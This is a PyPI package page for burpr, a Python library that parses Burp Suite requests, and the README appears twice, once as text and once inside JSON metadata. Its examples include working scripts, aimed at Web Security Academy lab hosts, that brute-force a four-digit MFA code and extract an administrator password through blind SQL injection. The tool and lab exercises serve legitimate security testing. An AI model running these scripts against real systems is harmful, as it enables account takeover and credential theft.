burpr


Nameburpr JSON
Version 0.3.0 PyPI version JSON
download
home_pagehttps://github.com/krystianbajno/burpr
SummaryA Burp Suite request parser, used for aid in assessing application security functionality.
upload_time2025-08-27 13:48:48
maintainerNone
docs_urlNone
authorKrystian Bajno
requires_python>=3.7
licenseMIT
keywords burp suite burpsuite request parser security testing http http2
VCS
bugtrack_url
requirements No requirements were recorded.
Travis-CI No Travis.
coveralls test coverage No coveralls.
            # Burpr
[![CodeFactor](https://www.codefactor.io/repository/github/krystianbajno/burpr/badge)](https://www.codefactor.io/repository/github/krystianbajno/burpr)
[![Codacy Badge](https://app.codacy.com/project/badge/Grade/0bfcfae7a9de48e29f60dade3b0b7340)](https://app.codacy.com/gh/krystianbajno/burpr/dashboard?utm_source=gh&utm_medium=referral&utm_content=&utm_campaign=Badge_grade)

# What is it
A Burp Suite request parser, used for aid in assessing application security functionality.

# Why I wrote it
To use captured requests programatically.

# Installation
```bash
pip install burpr
```

# Usage
Parse Burp requests from strings or files. Use the `.bind()` method to replace placeholder values.

```python
import burpr

# Parse from string
burp_request = '''GET /api/users HTTP/2
Host: example.com
Authorization: Bearer %TOKEN%

'''

req = burpr.parse_string(burp_request)
req.bind("%TOKEN%", "actual-token-value")

# Method 1: Using requests library
response = req.make_request()

# Method 2: Using httpx for HTTP/2 support
response = req.make_httpx_request()

# Method 3: Manual with any HTTP client
import httpx
client = httpx.Client(http2=req.is_http2)
response = client.request(
    method=req.method,
    url=req.url,
    headers=req.headers,
    content=req.body
)
```

# Features

## Comprehensive Parsing Support
```python
# Parse Burp Suite requests
req = burpr.parse_string(burp_request_string)
req = burpr.parse_file("request.txt")

# Parse curl commands
req = burpr.from_curl('curl -X POST https://api.com/data -d "key=%VALUE%"')

# Parse from Python requests
req = burpr.from_requests("POST", "https://api.com", json={"key": "%VALUE%"})

# Parse HTTP/2 requests
req = burpr.from_http2({
    ":method": "GET",
    ":path": "/users",
    ":authority": "api.example.com",
    ":scheme": "https"
})
```

## Placeholder System
```python
# Use %PLACEHOLDER% format for dynamic values
req.bind("%TOKEN%", "actual-token-value")
req.bind("%USER_ID%", "12345")

# Chain multiple bindings
req.bind("%HOST%", "prod.api.com") \
   .bind("%VERSION%", "v2") \
   .bind("%KEY%", "secret")
```

## Making Requests
```python
# Method 1: Direct execution with requests library
response = req.make_request()

# Method 2: Using httpx for HTTP/2 support
response = req.make_httpx_request()

# Method 3: Get prepared request for custom handling
prepared = req.to_request()  # returns requests.PreparedRequest
```

## Utility Functions
```python
# Clone a request
req2 = burpr.clone(req)

# Set Content-Length
burpr.prepare(req)

# Convert back to Burp format
burp_string = burpr.to_burp_format(req)
```

# Examples

## Brute Force Broken MFA
```python
import burpr
import httpx
import itertools

burp_request = r"""POST /login2 HTTP/2
Host: xxxx.web-security-academy.net
Cookie: verify=carlos; session=xxxx
Content-Length: 13
Cache-Control: max-age=0
Sec-Ch-Ua: 
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: ""
Upgrade-Insecure-Requests: 1
Origin: https://xxxx.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://xxxx.web-security-academy.net/login2
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

mfa-code=%MFA_CODE%
"""

def generate_pin_numbers():
    return [''.join(str(d) for d in combo) for combo in itertools.product(range(10), repeat=4)]

def brute_force_broken_mfa():
    # Parse base request
    base_req = burpr.parse_string(burp_request)
    
    # Create http client
    client = httpx.Client(http2=base_req.is_http2)
    
    for pin in generate_pin_numbers():
        # Clone and bind the PIN
        req = burpr.clone(base_req)
        req.bind("%MFA_CODE%", pin)
        burpr.prepare(req)
        
        # Send request
        res = client.request(
            method=req.method,
            url=req.url,
            headers=req.headers,
            content=req.body
        )
        
        print(res.status_code, pin)
        
        if res.status_code != 200:
            break

brute_force_broken_mfa()
```

## Brute Force Stricter Broken MFA
```python
import burpr
import httpx 
from bs4 import BeautifulSoup
import itertools

def generate_pin_numbers():
    return [''.join(str(d) for d in combo) for combo in itertools.product(range(10), repeat=4)]

def brute_force_stricter_broken_mfa():
    # Templates with placeholders
    login_get_template = '''GET /login HTTP/1.1
Host: xxxx.web-security-academy.net

'''
    
    login_post_template = '''POST /login HTTP/1.1
Host: xxxx.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Cookie: %SESSION%

csrf=%CSRF%&username=%USERNAME%&password=%PASSWORD%
'''
    
    mfa_get_template = '''GET /login2 HTTP/1.1
Host: xxxx.web-security-academy.net
Cookie: %SESSION%

'''
    
    mfa_post_template = '''POST /login2 HTTP/1.1
Host: xxxx.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Cookie: %SESSION%

csrf=%CSRF%&mfa-code=%MFA_CODE%
'''
    
    victim_login = "carlos"
    victim_pass = "montoya"
    
    client = httpx.Client()
    
    for pin in generate_pin_numbers():
        # Get CSRF token
        req = burpr.parse_string(login_get_template)
        res = client.request(req.method, req.url, headers=req.headers)
        
        soup = BeautifulSoup(res.text, "html.parser")
        csrf = soup.find(attrs={"name": "csrf"})["value"]
        session = res.cookies.get("session")
        
        # Login
        req = burpr.parse_string(login_post_template)
        req.bind("%SESSION%", f"session={session}")
        req.bind("%CSRF%", csrf)
        req.bind("%USERNAME%", victim_login)
        req.bind("%PASSWORD%", victim_pass)
        burpr.prepare(req)
        
        res = client.request(
            method=req.method,
            url=req.url,
            headers=req.headers,
            content=req.body
        )
        
        # Get MFA page
        session = res.cookies.get("session")
        req = burpr.parse_string(mfa_get_template)
        req.bind("%SESSION%", f"session={session}")
        
        res = client.request(req.method, req.url, headers=req.headers)
        soup = BeautifulSoup(res.text, "html.parser")
        csrf = soup.find(attrs={"name": "csrf"})["value"]
        
        # Try MFA code
        req = burpr.parse_string(mfa_post_template)
        req.bind("%SESSION%", f"session={session}")
        req.bind("%CSRF%", csrf)
        req.bind("%MFA_CODE%", pin)
        burpr.prepare(req)
        
        res = client.request(
            method=req.method,
            url=req.url,
            headers=req.headers,
            content=req.body
        )
        
        print(pin)
        
        if res.status_code != 200:
            print(res.status_code, pin, res.headers)
            break

brute_force_stricter_broken_mfa()
```

## Blind SQL Injection with Conditional Responses
```python
import burpr
import httpx
import sys

burp_request = '''GET /filter?category=Gifts HTTP/2
Host: xxxx.web-security-academy.net
Cookie: TrackingId=%TRACKING_ID%; session=aaaabbbbbcccccdddddd
Sec-Ch-Ua: 
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: ""
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://xxxx.web-security-academy.net/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

'''

alphabet = "abcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_-+="
base_tracking = "aaaabbbbbcccccdddddd"

# Parse base request
base_req = burpr.parse_string(burp_request)
client = httpx.Client(http2=base_req.is_http2)

# Determine password length
length = 0
while length < 255:
    payload = f"' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)={length + 1})='a"
    tracking_id = base_tracking + payload
    
    req = burpr.clone(base_req)
    req.bind("%TRACKING_ID%", tracking_id)
    
    res = client.request(req.method, req.url, headers=req.headers)
    
    length = length + 1
    
    if "Welcome back" in res.text:
        break

print(f"[*] Password length is {length}, retrieving password:")

# Retrieve password
for i in range(length):
    for letter in alphabet:
        payload = f"' AND (SELECT SUBSTRING(password,{i + 1},1) FROM users WHERE username='administrator')='{letter}"
        tracking_id = base_tracking + payload
        
        req = burpr.clone(base_req)
        req.bind("%TRACKING_ID%", tracking_id)
        
        res = client.request(req.method, req.url, headers=req.headers)
        
        if "Welcome back" in res.text:
            sys.stdout.write(letter)
            sys.stdout.flush()
            break
```

## Using curl Commands
```python
import burpr
import httpx

# Parse curl command with placeholders
curl_cmd = '''curl -X POST https://api.example.com/v2/authenticate \
  -H "Content-Type: application/json" \
  -H "X-API-Key: %API_KEY%" \
  -d '{"username": "%USERNAME%", "password": "%PASSWORD%", "grant_type": "password"}'
'''

req = burpr.from_curl(curl_cmd)
req.bind("%API_KEY%", "sk-1234567890")
req.bind("%USERNAME%", "testuser")
req.bind("%PASSWORD%", "testpass123")

client = httpx.Client()
response = client.request(
    method=req.method,
    url=req.url,
    headers=req.headers,
    content=req.body
)
```

## Request Builder Pattern
```python
import burpr

# Create a template with multiple placeholders
api_template = '''%METHOD% %ENDPOINT% HTTP/1.1
Host: %HOST%
Authorization: Bearer %TOKEN%
Content-Type: %CONTENT_TYPE%
X-Request-ID: %REQUEST_ID%

%BODY%
'''

# Build different requests from the same template
def create_api_request(method, endpoint, body="", content_type="application/json"):
    req = burpr.parse_string(api_template)
    req.bind("%METHOD%", method)
    req.bind("%ENDPOINT%", endpoint)
    req.bind("%HOST%", "api.production.com")
    req.bind("%TOKEN%", get_current_token())
    req.bind("%CONTENT_TYPE%", content_type)
    req.bind("%REQUEST_ID%", generate_request_id())
    req.bind("%BODY%", body)
    
    burpr.prepare(req)
    return req

# Use it
req1 = create_api_request("GET", "/api/users")
req2 = create_api_request("POST", "/api/users", '{"name": "John"}')
req3 = create_api_request("DELETE", "/api/users/123")
```

# Testing

Run tests with pytest:
```bash
pytest tests/ -v
```

# License

MIT License

            

Raw data

            {
    "_id": null,
    "home_page": "https://github.com/krystianbajno/burpr",
    "name": "burpr",
    "maintainer": null,
    "docs_url": null,
    "requires_python": ">=3.7",
    "maintainer_email": null,
    "keywords": "burp suite burpsuite request parser security testing http http2",
    "author": "Krystian Bajno",
    "author_email": "krystian.bajno@gmail.com",
    "download_url": "https://files.pythonhosted.org/packages/cc/23/9bd408ec3231520414f51e0090f374bd0a1ad564461b823ab986f6ece28b/burpr-0.3.0.tar.gz",
    "platform": null,
    "description": "# Burpr\n[![CodeFactor](https://www.codefactor.io/repository/github/krystianbajno/burpr/badge)](https://www.codefactor.io/repository/github/krystianbajno/burpr)\n[![Codacy Badge](https://app.codacy.com/project/badge/Grade/0bfcfae7a9de48e29f60dade3b0b7340)](https://app.codacy.com/gh/krystianbajno/burpr/dashboard?utm_source=gh&utm_medium=referral&utm_content=&utm_campaign=Badge_grade)\n\n# What is it\nA Burp Suite request parser, used for aid in assessing application security functionality.\n\n# Why I wrote it\nTo use captured requests programatically.\n\n# Installation\n```bash\npip install burpr\n```\n\n# Usage\nParse Burp requests from strings or files. Use the `.bind()` method to replace placeholder values.\n\n```python\nimport burpr\n\n# Parse from string\nburp_request = '''GET /api/users HTTP/2\nHost: example.com\nAuthorization: Bearer %TOKEN%\n\n'''\n\nreq = burpr.parse_string(burp_request)\nreq.bind(\"%TOKEN%\", \"actual-token-value\")\n\n# Method 1: Using requests library\nresponse = req.make_request()\n\n# Method 2: Using httpx for HTTP/2 support\nresponse = req.make_httpx_request()\n\n# Method 3: Manual with any HTTP client\nimport httpx\nclient = httpx.Client(http2=req.is_http2)\nresponse = client.request(\n    method=req.method,\n    url=req.url,\n    headers=req.headers,\n    content=req.body\n)\n```\n\n# Features\n\n## Comprehensive Parsing Support\n```python\n# Parse Burp Suite requests\nreq = burpr.parse_string(burp_request_string)\nreq = burpr.parse_file(\"request.txt\")\n\n# Parse curl commands\nreq = burpr.from_curl('curl -X POST https://api.com/data -d \"key=%VALUE%\"')\n\n# Parse from Python requests\nreq = burpr.from_requests(\"POST\", \"https://api.com\", json={\"key\": \"%VALUE%\"})\n\n# Parse HTTP/2 requests\nreq = burpr.from_http2({\n    \":method\": \"GET\",\n    \":path\": \"/users\",\n    \":authority\": \"api.example.com\",\n    \":scheme\": \"https\"\n})\n```\n\n## Placeholder System\n```python\n# Use %PLACEHOLDER% format for dynamic values\nreq.bind(\"%TOKEN%\", \"actual-token-value\")\nreq.bind(\"%USER_ID%\", \"12345\")\n\n# Chain multiple bindings\nreq.bind(\"%HOST%\", \"prod.api.com\") \\\n   .bind(\"%VERSION%\", \"v2\") \\\n   .bind(\"%KEY%\", \"secret\")\n```\n\n## Making Requests\n```python\n# Method 1: Direct execution with requests library\nresponse = req.make_request()\n\n# Method 2: Using httpx for HTTP/2 support\nresponse = req.make_httpx_request()\n\n# Method 3: Get prepared request for custom handling\nprepared = req.to_request()  # returns requests.PreparedRequest\n```\n\n## Utility Functions\n```python\n# Clone a request\nreq2 = burpr.clone(req)\n\n# Set Content-Length\nburpr.prepare(req)\n\n# Convert back to Burp format\nburp_string = burpr.to_burp_format(req)\n```\n\n# Examples\n\n## Brute Force Broken MFA\n```python\nimport burpr\nimport httpx\nimport itertools\n\nburp_request = r\"\"\"POST /login2 HTTP/2\nHost: xxxx.web-security-academy.net\nCookie: verify=carlos; session=xxxx\nContent-Length: 13\nCache-Control: max-age=0\nSec-Ch-Ua: \nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"\"\nUpgrade-Insecure-Requests: 1\nOrigin: https://xxxx.web-security-academy.net\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nReferer: https://xxxx.web-security-academy.net/login2\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\n\nmfa-code=%MFA_CODE%\n\"\"\"\n\ndef generate_pin_numbers():\n    return [''.join(str(d) for d in combo) for combo in itertools.product(range(10), repeat=4)]\n\ndef brute_force_broken_mfa():\n    # Parse base request\n    base_req = burpr.parse_string(burp_request)\n    \n    # Create http client\n    client = httpx.Client(http2=base_req.is_http2)\n    \n    for pin in generate_pin_numbers():\n        # Clone and bind the PIN\n        req = burpr.clone(base_req)\n        req.bind(\"%MFA_CODE%\", pin)\n        burpr.prepare(req)\n        \n        # Send request\n        res = client.request(\n            method=req.method,\n            url=req.url,\n            headers=req.headers,\n            content=req.body\n        )\n        \n        print(res.status_code, pin)\n        \n        if res.status_code != 200:\n            break\n\nbrute_force_broken_mfa()\n```\n\n## Brute Force Stricter Broken MFA\n```python\nimport burpr\nimport httpx \nfrom bs4 import BeautifulSoup\nimport itertools\n\ndef generate_pin_numbers():\n    return [''.join(str(d) for d in combo) for combo in itertools.product(range(10), repeat=4)]\n\ndef brute_force_stricter_broken_mfa():\n    # Templates with placeholders\n    login_get_template = '''GET /login HTTP/1.1\nHost: xxxx.web-security-academy.net\n\n'''\n    \n    login_post_template = '''POST /login HTTP/1.1\nHost: xxxx.web-security-academy.net\nContent-Type: application/x-www-form-urlencoded\nCookie: %SESSION%\n\ncsrf=%CSRF%&username=%USERNAME%&password=%PASSWORD%\n'''\n    \n    mfa_get_template = '''GET /login2 HTTP/1.1\nHost: xxxx.web-security-academy.net\nCookie: %SESSION%\n\n'''\n    \n    mfa_post_template = '''POST /login2 HTTP/1.1\nHost: xxxx.web-security-academy.net\nContent-Type: application/x-www-form-urlencoded\nCookie: %SESSION%\n\ncsrf=%CSRF%&mfa-code=%MFA_CODE%\n'''\n    \n    victim_login = \"carlos\"\n    victim_pass = \"montoya\"\n    \n    client = httpx.Client()\n    \n    for pin in generate_pin_numbers():\n        # Get CSRF token\n        req = burpr.parse_string(login_get_template)\n        res = client.request(req.method, req.url, headers=req.headers)\n        \n        soup = BeautifulSoup(res.text, \"html.parser\")\n        csrf = soup.find(attrs={\"name\": \"csrf\"})[\"value\"]\n        session = res.cookies.get(\"session\")\n        \n        # Login\n        req = burpr.parse_string(login_post_template)\n        req.bind(\"%SESSION%\", f\"session={session}\")\n        req.bind(\"%CSRF%\", csrf)\n        req.bind(\"%USERNAME%\", victim_login)\n        req.bind(\"%PASSWORD%\", victim_pass)\n        burpr.prepare(req)\n        \n        res = client.request(\n            method=req.method,\n            url=req.url,\n            headers=req.headers,\n            content=req.body\n        )\n        \n        # Get MFA page\n        session = res.cookies.get(\"session\")\n        req = burpr.parse_string(mfa_get_template)\n        req.bind(\"%SESSION%\", f\"session={session}\")\n        \n        res = client.request(req.method, req.url, headers=req.headers)\n        soup = BeautifulSoup(res.text, \"html.parser\")\n        csrf = soup.find(attrs={\"name\": \"csrf\"})[\"value\"]\n        \n        # Try MFA code\n        req = burpr.parse_string(mfa_post_template)\n        req.bind(\"%SESSION%\", f\"session={session}\")\n        req.bind(\"%CSRF%\", csrf)\n        req.bind(\"%MFA_CODE%\", pin)\n        burpr.prepare(req)\n        \n        res = client.request(\n            method=req.method,\n            url=req.url,\n            headers=req.headers,\n            content=req.body\n        )\n        \n        print(pin)\n        \n        if res.status_code != 200:\n            print(res.status_code, pin, res.headers)\n            break\n\nbrute_force_stricter_broken_mfa()\n```\n\n## Blind SQL Injection with Conditional Responses\n```python\nimport burpr\nimport httpx\nimport sys\n\nburp_request = '''GET /filter?category=Gifts HTTP/2\nHost: xxxx.web-security-academy.net\nCookie: TrackingId=%TRACKING_ID%; session=aaaabbbbbcccccdddddd\nSec-Ch-Ua: \nSec-Ch-Ua-Mobile: ?0\nSec-Ch-Ua-Platform: \"\"\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nReferer: https://xxxx.web-security-academy.net/\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\n\n'''\n\nalphabet = \"abcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_-+=\"\nbase_tracking = \"aaaabbbbbcccccdddddd\"\n\n# Parse base request\nbase_req = burpr.parse_string(burp_request)\nclient = httpx.Client(http2=base_req.is_http2)\n\n# Determine password length\nlength = 0\nwhile length < 255:\n    payload = f\"' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)={length + 1})='a\"\n    tracking_id = base_tracking + payload\n    \n    req = burpr.clone(base_req)\n    req.bind(\"%TRACKING_ID%\", tracking_id)\n    \n    res = client.request(req.method, req.url, headers=req.headers)\n    \n    length = length + 1\n    \n    if \"Welcome back\" in res.text:\n        break\n\nprint(f\"[*] Password length is {length}, retrieving password:\")\n\n# Retrieve password\nfor i in range(length):\n    for letter in alphabet:\n        payload = f\"' AND (SELECT SUBSTRING(password,{i + 1},1) FROM users WHERE username='administrator')='{letter}\"\n        tracking_id = base_tracking + payload\n        \n        req = burpr.clone(base_req)\n        req.bind(\"%TRACKING_ID%\", tracking_id)\n        \n        res = client.request(req.method, req.url, headers=req.headers)\n        \n        if \"Welcome back\" in res.text:\n            sys.stdout.write(letter)\n            sys.stdout.flush()\n            break\n```\n\n## Using curl Commands\n```python\nimport burpr\nimport httpx\n\n# Parse curl command with placeholders\ncurl_cmd = '''curl -X POST https://api.example.com/v2/authenticate \\\n  -H \"Content-Type: application/json\" \\\n  -H \"X-API-Key: %API_KEY%\" \\\n  -d '{\"username\": \"%USERNAME%\", \"password\": \"%PASSWORD%\", \"grant_type\": \"password\"}'\n'''\n\nreq = burpr.from_curl(curl_cmd)\nreq.bind(\"%API_KEY%\", \"sk-1234567890\")\nreq.bind(\"%USERNAME%\", \"testuser\")\nreq.bind(\"%PASSWORD%\", \"testpass123\")\n\nclient = httpx.Client()\nresponse = client.request(\n    method=req.method,\n    url=req.url,\n    headers=req.headers,\n    content=req.body\n)\n```\n\n## Request Builder Pattern\n```python\nimport burpr\n\n# Create a template with multiple placeholders\napi_template = '''%METHOD% %ENDPOINT% HTTP/1.1\nHost: %HOST%\nAuthorization: Bearer %TOKEN%\nContent-Type: %CONTENT_TYPE%\nX-Request-ID: %REQUEST_ID%\n\n%BODY%\n'''\n\n# Build different requests from the same template\ndef create_api_request(method, endpoint, body=\"\", content_type=\"application/json\"):\n    req = burpr.parse_string(api_template)\n    req.bind(\"%METHOD%\", method)\n    req.bind(\"%ENDPOINT%\", endpoint)\n    req.bind(\"%HOST%\", \"api.production.com\")\n    req.bind(\"%TOKEN%\", get_current_token())\n    req.bind(\"%CONTENT_TYPE%\", content_type)\n    req.bind(\"%REQUEST_ID%\", generate_request_id())\n    req.bind(\"%BODY%\", body)\n    \n    burpr.prepare(req)\n    return req\n\n# Use it\nreq1 = create_api_request(\"GET\", \"/api/users\")\nreq2 = create_api_request(\"POST\", \"/api/users\", '{\"name\": \"John\"}')\nreq3 = create_api_request(\"DELETE\", \"/api/users/123\")\n```\n\n# Testing\n\nRun tests with pytest:\n```bash\npytest tests/ -v\n```\n\n# License\n\nMIT License\n",
    "bugtrack_url": null,
    "license": "MIT",
    "summary": "A Burp Suite request parser, used for aid in assessing application security functionality.",
    "version": "0.3.0",
    "project_urls": {
        "Homepage": "https://github.com/krystianbajno/burpr"
    },
    "split_keywords": [
        "burp",
        "suite",
        "burpsuite",
        "request",
        "parser",
        "security",
        "testing",
        "http",
        "http2"
    ],
    "urls": [
        {
            "comment_text": null,
            "digests": {
                "blake2b_256": "7a080de0a93fa1b7542c731aa0b588e906cf9a76549cfcbae885214341b7c88e",
                "md5": "72b874349217e2326081a0ee4bcaaae9",
                "sha256": "0c265bb66ded633d0acb32b50b514306128f62d2f7276b19cc29d4628a417924"
            },
            "downloads": -1,
            "filename": "burpr-0.3.0-py3-none-any.whl",
            "has_sig": false,
            "md5_digest": "72b874349217e2326081a0ee4bcaaae9",
            "packagetype": "bdist_wheel",
            "python_version": "py3",
            "requires_python": ">=3.7",
            "size": 18435,
            "upload_time": "2025-08-27T13:48:46",
            "upload_time_iso_8601": "2025-08-27T13:48:46.717452Z",
            "url": "https://files.pythonhosted.org/packages/7a/08/0de0a93fa1b7542c731aa0b588e906cf9a76549cfcbae885214341b7c88e/burpr-0.3.0-py3-none-any.whl",
            "yanked": false,
            "yanked_reason": null
        },
        {
            "comment_text": null,
            "digests": {
                "blake2b_256": "cc239bd408ec3231520414f51e0090f374bd0a1ad564461b823ab986f6ece28b",
                "md5": "d68b7b8655d1212b6fa7543c340bc663",
                "sha256": "bc2d9f1c7b85d87091758c85903138dda0c8f16e30bd182dbb9ee4e2feacd0f8"
            },
            "downloads": -1,
            "filename": "burpr-0.3.0.tar.gz",
            "has_sig": false,
            "md5_digest": "d68b7b8655d1212b6fa7543c340bc663",
            "packagetype": "sdist",
            "python_version": "source",
            "requires_python": ">=3.7",
            "size": 14953,
            "upload_time": "2025-08-27T13:48:48",
            "upload_time_iso_8601": "2025-08-27T13:48:48.153370Z",
            "url": "https://files.pythonhosted.org/packages/cc/23/9bd408ec3231520414f51e0090f374bd0a1ad564461b823ab986f6ece28b/burpr-0.3.0.tar.gz",
            "yanked": false,
            "yanked_reason": null
        }
    ],
    "upload_time": "2025-08-27 13:48:48",
    "github": true,
    "gitlab": false,
    "bitbucket": false,
    "codeberg": false,
    "github_user": "krystianbajno",
    "github_project": "burpr",
    "travis_ci": false,
    "coveralls": false,
    "github_actions": false,
    "requirements": [],
    "lcname": "burpr"
}
        
Elapsed time: 0.42486s